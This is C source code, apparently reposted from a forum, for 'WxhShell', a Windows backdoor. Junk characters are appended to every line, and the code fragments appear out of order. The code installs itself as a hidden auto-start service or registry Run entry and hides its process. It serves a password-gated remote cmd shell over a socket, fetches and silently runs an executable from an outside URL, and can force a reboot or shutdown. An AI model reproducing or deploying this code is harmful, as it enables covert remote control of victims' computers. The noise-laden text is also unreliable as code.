    if(Boot(SHUTDOWN)) &k_wqV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iXG>j.w{79  
    else { ]Jq k C4|  
    closesocket(wsh); @sg T[P*ut  
    ExitThread(0); fbzKO^Ub  
    } R+kZLOE  
    break; :9!0 Rm  
    } \:q e3Q  
  // 获取shell z|DA _dG  
  case 's': { \:_.N8"  
    CmdShell(wsh); <igx[2X  
    closesocket(wsh); 0r$hPmvv8  
    ExitThread(0); %.Tf u0M  
    break; Y)4Nydq  
  } ^ ]6  80h  
  // 退出 i9EMi_%  
  case 'x': { \_I)loPc8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SX?$H~A  
    CloseIt(wsh); N>}K+M>  
    break; H-cBXp5z  
    } >NOYa3  
  // 离开 'd.@4 9  
  case 'q': { }DUDA%U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3@cJ=   
    closesocket(wsh); 4h_4jqf=pU  
    WSACleanup(); +}-W.H%`0  
    exit(1); SJ[@fUxO)  
    break; Kf?{GNE7  
        } Tx!m6B`Y  
  } DN 8pJa  
  } qnfRN'  
)p^jsv.  
  // 提示信息 W];6u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x"wM_hl5L  
}  wpdEI(  
  } vYt:}$AE  
UH^wyK bM  
  return; TnU$L3k  
} "g:&Ge*X  
9MzkG87J  
// shell模块句柄 JdYF&~  
int CmdShell(SOCKET sock) pnA]@FW  
{ n#4J]Z@  
STARTUPINFO si; :*Ggz|  
ZeroMemory(&si,sizeof(si)); 5WJkeG ba  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4b(irDT3F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iCSM1W3  
PROCESS_INFORMATION ProcessInfo; B*iz+"H  
char cmdline[]="cmd"; Sw( H]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K y4y  
  return 0; [pWDhY  
} e(\S,@VN2  
+\Mm (Nd  
// 自身启动模式 z+D,:!yF  
int StartFromService(void) )* nbEZm@  
{ Qn3+bF4  
typedef struct h%^kA@3F  
{ _r5Ild @n  
  DWORD ExitStatus; i8 ):0  
  DWORD PebBaseAddress; DJ [#H  
  DWORD AffinityMask; 4$2T zJE  
  DWORD BasePriority; yaXa8v'oC  
  ULONG UniqueProcessId; Jc?ssm\%  
  ULONG InheritedFromUniqueProcessId; {]Iu">*  
}   PROCESS_BASIC_INFORMATION; :::f,aCAu  
. _t,OX$  
PROCNTQSIP NtQueryInformationProcess; x,c68Q)g  
d lLk4a+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; > ,Bu^] C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~+nSI-L  
Iw |[*Nu-  
  HANDLE             hProcess; S^VV^O5 ^  
  PROCESS_BASIC_INFORMATION pbi; QIV~)`;  
Msu2OF *x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <~X6D?  
  if(NULL == hInst ) return 0; wP1VQUL  
FH21mwV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j2qfEvU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :tG".z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9S1V! Jp  
,:4w$!;  
  if (!NtQueryInformationProcess) return 0; /0B ?3&H  
VEEeQy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TXl9c 6  
  if(!hProcess) return 0; lFV|GJ  
Ru aJ9O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jeFl+K'1  
uWj-tzu  
  CloseHandle(hProcess); q;Pz B4#  
:Qp/3(g e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oP75|p  
if(hProcess==NULL) return 0; Z|dZc wo  
4:PP[2?  
HMODULE hMod; r3vj o(  
char procName[255]; D?F5o^e"h<  
unsigned long cbNeeded; {o<p{q  
#p`7gFl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1AV1W_"  
7uNI  
  CloseHandle(hProcess); 6yM dl~.  
@BhAFv,7  
if(strstr(procName,"services")) return 1; // 以服务启动 kDa#yN\  
GnaV I  
  return 0; // 注册表启动 M':.b+xN  
} vkgL"([_  
|?=1tS{iT  
// 主模块 Cjk AQ(9  
int StartWxhshell(LPSTR lpCmdLine) /n7,B}  
{ *~^^A9C8  
  SOCKET wsl; oA@^N4PD  
BOOL val=TRUE; 6&0a?Xu  
  int port=0; bLF0MVLM  
  struct sockaddr_in door; K!gFD  
&L~rq)r/&  
  if(wscfg.ws_autoins) Install(); x,_Ucc.  
MA6%g} o  
port=atoi(lpCmdLine); K(<P" g(  
NmF2E+'  
if(port<=0) port=wscfg.ws_port; a8aqcDs>O  
6D(m8  
  WSADATA data; |c/rHEZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nq6CvDXi  
7Z3qaXPH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U.(_n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }!Lr!eALr  
  door.sin_family = AF_INET; b7j#a#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }>U03aa!  
  door.sin_port = htons(port); 59 Y=VS  
;f~'7RKy!G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?%ntO]  
closesocket(wsl); 3R .cj  
return 1; &W!@3O{~.  
} # t Ki6u  
':$a6f &T  
  if(listen(wsl,2) == INVALID_SOCKET) { gMn)<u>  
closesocket(wsl); a $:N9&P  
return 1; &,7(Wab  
} Bx >@HU  
  Wxhshell(wsl); a$8?0` (  
  WSACleanup(); '~J6 mojE  
p2^OQK  
return 0; [?*^&[  
E5Jk+6EcMa  
} Njjeg9f  
{p iS3xBi  
// 以NT服务方式启动 +ETw:i9!?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xRN$cZC  
{ h zE)>f  
DWORD   status = 0; < *OF  
  DWORD   specificError = 0xfffffff; B.#0kjA}  
-wRzMT19MG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DlI|~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q'tT)IgD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DYK|"@  
  serviceStatus.dwWin32ExitCode     = 0; ^)~M,rW8c  
  serviceStatus.dwServiceSpecificExitCode = 0; K? k`U,  
  serviceStatus.dwCheckPoint       = 0; b\Ub<pE  
  serviceStatus.dwWaitHint       = 0; yl%F<5  
Q2JjBV<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WcFZRy-erc  
  if (hServiceStatusHandle==0) return; [4yQ-L)]e  
=`H( `2  
status = GetLastError(); 7F\g3^ z9`  
  if (status!=NO_ERROR) %BKTN@;7  
{ lc7]=,qyF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +\chHOsw  
    serviceStatus.dwCheckPoint       = 0; dM$S|, H  
    serviceStatus.dwWaitHint       = 0; ZT#G:a  
    serviceStatus.dwWin32ExitCode     = status; nE84W$\  
    serviceStatus.dwServiceSpecificExitCode = specificError; GkFNLM5'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QCw<* Id+  
    return; }.zn:e  
  } W+X zU"l  
04t_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E?uv&evPK7  
  serviceStatus.dwCheckPoint       = 0; Op{Mc$5a  
  serviceStatus.dwWaitHint       = 0; {5h_$a!TaU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \ PqV|  
} ~@;7}Aag  
R?Qou!*]  
// 处理NT服务事件,比如:启动、停止 Tw5BvB1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sJWwkR  
{ qxx.f5 8H  
switch(fdwControl) m/AN*` V  
{ OH w6#N$\  
case SERVICE_CONTROL_STOP: (x@"Dp=MZW  
  serviceStatus.dwWin32ExitCode = 0; Zj;!7ZuT1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -=w.tJD  
  serviceStatus.dwCheckPoint   = 0; X1"nq]chGy  
  serviceStatus.dwWaitHint     = 0; yrX]w3kr%  
  { p pq#5t^[)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :.,I4>b2  
  } n9^zAcUbAW  
  return; %O${EN  
case SERVICE_CONTROL_PAUSE: zl5S)/A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nj  
  break; Fh'Jb*|Q  
case SERVICE_CONTROL_CONTINUE: "x11 YM{F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :?J$ +bm}  
  break; By9/tB  
case SERVICE_CONTROL_INTERROGATE: W=*\4B]  
  break; ,J~dER\%  
}; T"jl;,gr]J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 21qhlkdc  
} .+<K-'&=  
>/*\x g&J  
// 标准应用程序主函数 *))|ZE6jI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G r)+O  
{ K5$ y  
nL? B  
// 获取操作系统版本 @WmB0cc_  
OsIsNt=GetOsVer(); cW RY[{v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {~SR>I3sv  
|*b8-a8<  
  // 从命令行安装 -vyC,A  
  if(strpbrk(lpCmdLine,"iI")) Install(); fOJyY[  
z!%}0  
  // 下载执行文件 n!p&.Mt  
if(wscfg.ws_downexe) { `PL!>oa(8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RwE]t$T/  
  WinExec(wscfg.ws_filenam,SW_HIDE); (:1 j-  
} ;3!TOY"j;e  
+vP1DXtj(  
if(!OsIsNt) { = U5)m  
// 如果时win9x,隐藏进程并且设置为注册表启动 "7g: u-  
HideProc(); ktCh*R[`  
StartWxhshell(lpCmdLine); <Wd$6  
} l},%g%}iMU  
else C9h8d   
  if(StartFromService()) :X^B1z3X4  
  // 以服务方式启动 t`?FSV  
  StartServiceCtrlDispatcher(DispatchTable); D"MNlm  
else xiI!_0'  
  // 普通方式启动 jHd~yCq  
  StartWxhshell(lpCmdLine); ~LVa#  
'BC-'Ot  
return 0; 46vz=# ,6L  
} >QyMeH  
;23F8M%wH  
7G/"!ePW6`  
-+L1Hid.7  
=========================================== r~sGot+sQA  
G~JQcJFj  
DeUDZL%/  
&~j"3G;e  
_]\mh,}  
Kl* ##qw!  
" NM4 n  
dCHU* 7DS  
#include <stdio.h> Zy'bX* s|  
#include <string.h> PtHT>  
#include <windows.h>  -x7L8Wj  
#include <winsock2.h> Z'EZPuZ!'  
#include <winsvc.h> xZkLN5I{  
#include <urlmon.h> .JzO f[g5  
P=h2Z,2  
#pragma comment (lib, "Ws2_32.lib") (i`DUF'#y  
#pragma comment (lib, "urlmon.lib") ,Zdc  
1}(g=S  
#define MAX_USER   100 // 最大客户端连接数 htjJ0>&  
#define BUF_SOCK   200 // sock buffer A`@we  
#define KEY_BUFF   255 // 输入 buffer !v^D j']  
QKVZ![Y!s  
#define REBOOT     0   // 重启 lU@ni(69d  
#define SHUTDOWN   1   // 关机 3}H94H)]a  
eC1cE  
#define DEF_PORT   5000 // 监听端口 0q/g:"|j  
Sh"} c2  
#define REG_LEN     16   // 注册表键长度 X 6>Pq  
#define SVC_LEN     80   // NT服务名长度 "8-]6p3u  
'?-GZ0oM  
// 从dll定义API t0wLj}"U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ~d }-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5L4~7/kj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `T-(g1:9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i$ Zhk1  
q* m%Fv  
// wxhshell配置信息 MOj 0"x)  
struct WSCFG { }g3)z%Xe'[  
  int ws_port;         // 监听端口 tUt l>>6Iu  
  char ws_passstr[REG_LEN]; // 口令 *u-TNg  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6OVAsmE  
  char ws_regname[REG_LEN]; // 注册表键名 Z!#zr@'k  
  char ws_svcname[REG_LEN]; // 服务名 'j}%ec1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N&=,)d~M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qd@`jwjS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s,0,w--=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vXyaOZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t.]oLG22r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9m<>G3Jr  
#j@Su )+  
}; gllXJM^ -  
*s_)E 2  
// default Wxhshell configuration nkv zv  
struct WSCFG wscfg={DEF_PORT, B=9|g1e  
    "xuhuanlingzhe", o\2#o5#  
    1, z7J#1q~:yY  
    "Wxhshell", '*22j ]  
    "Wxhshell", vK|d P3  
            "WxhShell Service", k{9s>l~'  
    "Wrsky Windows CmdShell Service", pTcm2-J  
    "Please Input Your Password: ", C,K P!B{  
  1, Nn%{K a  
  "http://www.wrsky.com/wxhshell.exe", HmQuRW  
  "Wxhshell.exe" _w(SHWh2  
    };  37{mhU  
7:;P>sF@  
// 消息定义模块 Cgt{5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T#T!a0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9!PJLI=D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mw.9cDf  
char *msg_ws_ext="\n\rExit."; 1C:lXx$|  
char *msg_ws_end="\n\rQuit."; MA"DP7e?v  
char *msg_ws_boot="\n\rReboot..."; I,.>tC  
char *msg_ws_poff="\n\rShutdown..."; :)bm+xWFF  
char *msg_ws_down="\n\rSave to "; U2!9Tl9".  
voCQ_~*)9  
char *msg_ws_err="\n\rErr!"; aA=qel  
char *msg_ws_ok="\n\rOK!"; M,:GMO:?a  
kyz_r6  
char ExeFile[MAX_PATH]; @TsOc0?-  
int nUser = 0; y~;Kf0~  
HANDLE handles[MAX_USER]; HJM-;C](  
int OsIsNt; wn5CaP(]8  
-cEjB%Neo  
SERVICE_STATUS       serviceStatus; WM:we*k8h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5G= 2=E  
{B uh5U,  
// 函数声明 H7*/  
int Install(void); &R>x;&Gj  
int Uninstall(void); K5'@$Km  
int DownloadFile(char *sURL, SOCKET wsh); 8D)2/$NsY}  
int Boot(int flag); b?qtTce  
void HideProc(void); T+RfMEdr  
int GetOsVer(void); 'ym/@h7h  
int Wxhshell(SOCKET wsl); DTPYCG&%  
void TalkWithClient(void *cs); W8R@Pf  
int CmdShell(SOCKET sock); $ ^m_M.1  
int StartFromService(void); wSnY;Z9W_  
int StartWxhshell(LPSTR lpCmdLine); ma vc$!y  
Q]A;VNx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9psD"=/"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x-mRPH  
g#T8WX{(V  
// 数据结构和表定义 T)qD}hl  
SERVICE_TABLE_ENTRY DispatchTable[] = D?;$:D"  
{ _6(QbY'JV`  
{wscfg.ws_svcname, NTServiceMain}, v 4DF #O  
{NULL, NULL} S~/zBFo-  
}; Gr}Lp  
+t})tDPXw  
// 自我安装 >y &9!G  
int Install(void) mn)kd  
{ Y }aa6  
  char svExeFile[MAX_PATH]; [0w @0?[  
  HKEY key; _T7tq  
  strcpy(svExeFile,ExeFile); /9QI^6& SX  
Z>{3t/`  
// 如果是win9x系统,修改注册表设为自启动 =i4Ds  
if(!OsIsNt) { gyondcF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -tlRe12  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZC@sUj"  
  RegCloseKey(key); Jo1n>Mo-j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AbC /  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^?VYE26  
  RegCloseKey(key); _t_X`  
  return 0; Nl"< $/  
    } )#N)w5DU  
  } ! jm>  
} rfpeX   
else { MD%_Z/NL  
p'fU}B1  
// 如果是NT以上系统,安装为系统服务 T XWi5f[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TW8E^k7  
if (schSCManager!=0) GNlP]9wX  
{ J] ^)vxm3  
  SC_HANDLE schService = CreateService y'(l]F1]  
  ( h/j+ b.|  
  schSCManager, sk.<|-(o  
  wscfg.ws_svcname, rhGHR5 g  
  wscfg.ws_svcdisp, A]id*RtY  
  SERVICE_ALL_ACCESS, ggR@& \  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kz:g9  
  SERVICE_AUTO_START, 2;VggPpT  
  SERVICE_ERROR_NORMAL, uW3`gwwlU  
  svExeFile, hiZE8?0+~N  
  NULL, '5\7>2fI  
  NULL, NpG5$?  
  NULL, `9}\kn-</8  
  NULL, vr+O)/P})  
  NULL ^Qt4}V=  
  ); n a,j  
  if (schService!=0) M^JRHpTn  
  { `j{q$Y=AG  
  CloseServiceHandle(schService); q{gt2OWqX  
  CloseServiceHandle(schSCManager); F:"<4hiA"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [#S}L(  
  strcat(svExeFile,wscfg.ws_svcname); @0S3`[/U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ![YLY&}s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yJkERiJV  
  RegCloseKey(key); }J"}5O2,b  
  return 0; gDU~hv  
    } 'yuM=Pb  
  } O:cta/M  
  CloseServiceHandle(schSCManager); k7yQEU  
} -`x$a&}  
} J*?BwmD'8  
!r]elX  
return 1; ]:m>pI*z.  
} AQ:cim `  
}YH@T]O}  
// 自我卸载 BQq,,i8H  
int Uninstall(void) *u^N_y  
{ #K:|@d  
  HKEY key; ]y= ff6Q  
,y@`wq>O  
if(!OsIsNt) { |d\ rCq >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VDq4n;p1  
  RegDeleteValue(key,wscfg.ws_regname); HQlhT  
  RegCloseKey(key); g"gh2#!D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Cg[]y1Ne  
  RegDeleteValue(key,wscfg.ws_regname); !mLQdkTE  
  RegCloseKey(key); F[uy'~;@  
  return 0; 9N5ptdP.d  
  } ihivJ Z  
} ug*#rpb  
} ENW>bS8 e`  
else { 'wB6-  
oxT..=-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 72@lDY4cE  
if (schSCManager!=0) v3SH+Ej4  
{ Bwv@D4bii  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ma@3BiM  
  if (schService!=0) LnZzY0  
  { PF5;2  
  if(DeleteService(schService)!=0) { gn"Y?IZ?  
  CloseServiceHandle(schService); oo sbf#V  
  CloseServiceHandle(schSCManager); l`D^)~o8  
  return 0; ~^jdiy5  
  } DrE +{Spm  
  CloseServiceHandle(schService); am;)@<8~Q  
  } NMq#D$T  
  CloseServiceHandle(schSCManager); J-C3k`%O  
} J!r,ktO^U?  
} # LRN@?P  
&<8Q/m]5  
return 1; v,z s dr"d  
} 3J t_=!qlo  
Omy4Rkj8bh  
// 从指定url下载文件 QH%Zbt2qS  
int DownloadFile(char *sURL, SOCKET wsh) h&Thq52R  
{ ? tre)  
  HRESULT hr; -WiOs;2~/  
char seps[]= "/"; +76{S_CZ  
char *token; @pq#?  
char *file; 7d&_5Tj:  
char myURL[MAX_PATH]; ]C.x8(2!f  
char myFILE[MAX_PATH]; gD&/ k  
TS0x8,'$q  
strcpy(myURL,sURL); qFEGV+  
  token=strtok(myURL,seps); "JI FF_  
  while(token!=NULL) l(X8 cHAi  
  { a(}dF?M=  
    file=token; S;a'@5  
  token=strtok(NULL,seps); C? pi8Xg  
  } c`:hEQs  
Wr3j8"f/  
GetCurrentDirectory(MAX_PATH,myFILE); N[e QT  
strcat(myFILE, "\\"); OU)~ 02|\  
strcat(myFILE, file); A)9[.fhx  
  send(wsh,myFILE,strlen(myFILE),0); huh-S ,M  
send(wsh,"...",3,0); :|hFpLt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c)H (w  
  if(hr==S_OK) .yz-o\,gF%  
return 0; ~"\qX+  
else {v&c5B~,\  
return 1; @\-i3EhR  
l#7].-/  
} fQ>=\*b9x^  
5~(.:RX:q  
// 系统电源模块 8`bQ,E+2  
int Boot(int flag) +$]eA'Bh@  
{ R#j -Z#/"  
  HANDLE hToken; Fua:& 77  
  TOKEN_PRIVILEGES tkp; QF^_4Yn  
~ou1{NS  
  if(OsIsNt) { Y|ONCc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3{e7j6u\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Uh.XL=wY  
    tkp.PrivilegeCount = 1; C;m7 ~R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mHTZ:84  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -rE_pV;  
if(flag==REBOOT) { &P8 Run  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *"rgK|CM$  
  return 0; /4 zO  
} B35zmFX|}N  
else { :,.g_@wvG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fy4jujP<  
  return 0; GKPC9;{W  
} )c9]}:W&  
  } }7k!>+eQ  
  else { >z0~!!YZ  
if(flag==REBOOT) { y'sy]Q~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HVb9YU+  
  return 0; m9*Lo[EXO  
} oZvQ/|:p!  
else { Dd+ f,$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ciKkazx.  
  return 0; EZvB#cuL-  
} tT7< V{i4  
} }5n((7@X  
_=0;5OrK1X  
return 1; _!FM^N}|  
} 4Q0@\dR9  
@\gTi;u/x  
// win9x进程隐藏模块 1](5wK-Z  
void HideProc(void) zG z^T  
{ F?j;3@z[A  
W":is"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,e"A9ik#  
  if ( hKernel != NULL ) 75Xi%mlE7  
  { uA;3R\6?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4}{S8fGk%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \=+ s3p5N  
    FreeLibrary(hKernel); 33d86H% ;  
  } G?-27Jk8  
jE)&`yZ5  
return; D .3Q0a6  
} _E5%Px5>L  
.8is! TT  
// 获取操作系统版本 1jZ:@M :  
int GetOsVer(void) VQHJ O I  
{ 7e&R6j  
  OSVERSIONINFO winfo; o{*8l#x8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T:0X-U  
  GetVersionEx(&winfo); m{={a5GD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) STgl{#  
  return 1; 'e-Nt&;  
  else Cna@3)_  
  return 0; 7BCCQsz<  
} ZTG*|  
1Giy|;2/  
// 客户端句柄模块 Du>dTi~  
int Wxhshell(SOCKET wsl) owe362q  
{ 5YIi O7@4  
  SOCKET wsh; *BVkviqxz  
  struct sockaddr_in client; `gqBJi  
  DWORD myID; E0=-6j  
W|=?-  
  while(nUser<MAX_USER) =SLP}bP{:  
{ <FH3 ePz  
  int nSize=sizeof(client); ]?,47,[<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [!{*)4$6  
  if(wsh==INVALID_SOCKET) return 1; daBu<0\  
rWbuoG+8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~BCSm]j  
if(handles[nUser]==0) 7\^b+*  
  closesocket(wsh); JnCY O^Qj  
else zQ xZR}'  
  nUser++; P,!W\N%3  
  } wP1dPl_j:0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TQK>w'L  
GFvZdP`s4  
  return 0; _jef{j  
} D_O%[u}  
9A\J*OU  
// 关闭 socket TJ`E/=J!  
void CloseIt(SOCKET wsh) g'Ft5fQ"o/  
{ 3a#637%  
closesocket(wsh); -$;H_B+.  
nUser--; J{$C}8V  
ExitThread(0); N`y!Km  
} D`e!CprF  
/exV6D r  
// 客户端请求句柄 uf`o\wqU  
void TalkWithClient(void *cs) uW4G!Kw28  
{ mT@UQCG  
!'ajpK  
  SOCKET wsh=(SOCKET)cs; 1*?IDYB  
  char pwd[SVC_LEN]; y VQ qz  
  char cmd[KEY_BUFF]; }K;@$B6,@  
char chr[1]; /{7x|ay]  
int i,j; i>T{s-3v  
ZcX%:ebKS  
  while (nUser < MAX_USER) { e}/c`7M  
u4$d#0sA  
if(wscfg.ws_passstr) { KK]AX;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8NeP7.U<w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?C.C?h6F5B  
  //ZeroMemory(pwd,KEY_BUFF); Rjo6Pd{d<  
      i=0; WKBPqfC  
  while(i<SVC_LEN) {  ^]wm Y  
xm~ff+(&@S  
  // 设置超时 60~{sk~E  
  fd_set FdRead; N&S :=x:$S  
  struct timeval TimeOut; GfQMdLy\Z  
  FD_ZERO(&FdRead); "rc}mq  
  FD_SET(wsh,&FdRead); *|$s0ga C  
  TimeOut.tv_sec=8; nP'ab_>b  
  TimeOut.tv_usec=0; ;#/b=j\pi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,k{{ZP P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &[I#5 bGk  
a>sUq["  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Y/iq9l  
  pwd=chr[0]; 8<)[+ @$0  
  if(chr[0]==0xd || chr[0]==0xa) { * _C6. %{  
  pwd=0; ,0<|&D  
  break; bLu6|YB  
  } A &w)@DOe  
  i++; M0c"wi@S_  
    } 3z&,>CEX  
p`{<q -  
  // 如果是非法用户,关闭 socket Dr(.|)hv[&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :BMUc-[  
} :+]6SC0ql  
rVQ:7\=Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g IX"W;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s26s:A3rh  
z(1h^.  
while(1) { QHMXQyr(  
?]kIztH  
  ZeroMemory(cmd,KEY_BUFF); "793R^Tz  
76=uk!#3{  
      // 自动支持客户端 telnet标准   O|7q,bEm^  
  j=0; H W.S~eLw*  
  while(j<KEY_BUFF) { ]}>GUXe)^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v.r$]O  
  cmd[j]=chr[0]; b^Rg_,s  
  if(chr[0]==0xa || chr[0]==0xd) { }qV4]*+{  
  cmd[j]=0; .&r] ?O  
  break; Z`b,0[rG[  
  } X:8=jHkz  
  j++; q#sMew\{  
    } W'gCFX  
;1{S"UY  
  // 下载文件 IA8kq =W  
  if(strstr(cmd,"http://")) { oH6(Lq'q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8qS)j1.!  
  if(DownloadFile(cmd,wsh)) #J2856bzS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YqNhD6  
  else Qg9{<0{u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WHE*NWz>q  
  } n=rPFp RLF  
  else { 0C3Yina9 *  
T'Jw\u>"R  
    switch(cmd[0]) { MlRgdVX  
  Qt>yRt  
  // 帮助 *WX6C("M  
  case '?': { i>)Whr'e8  
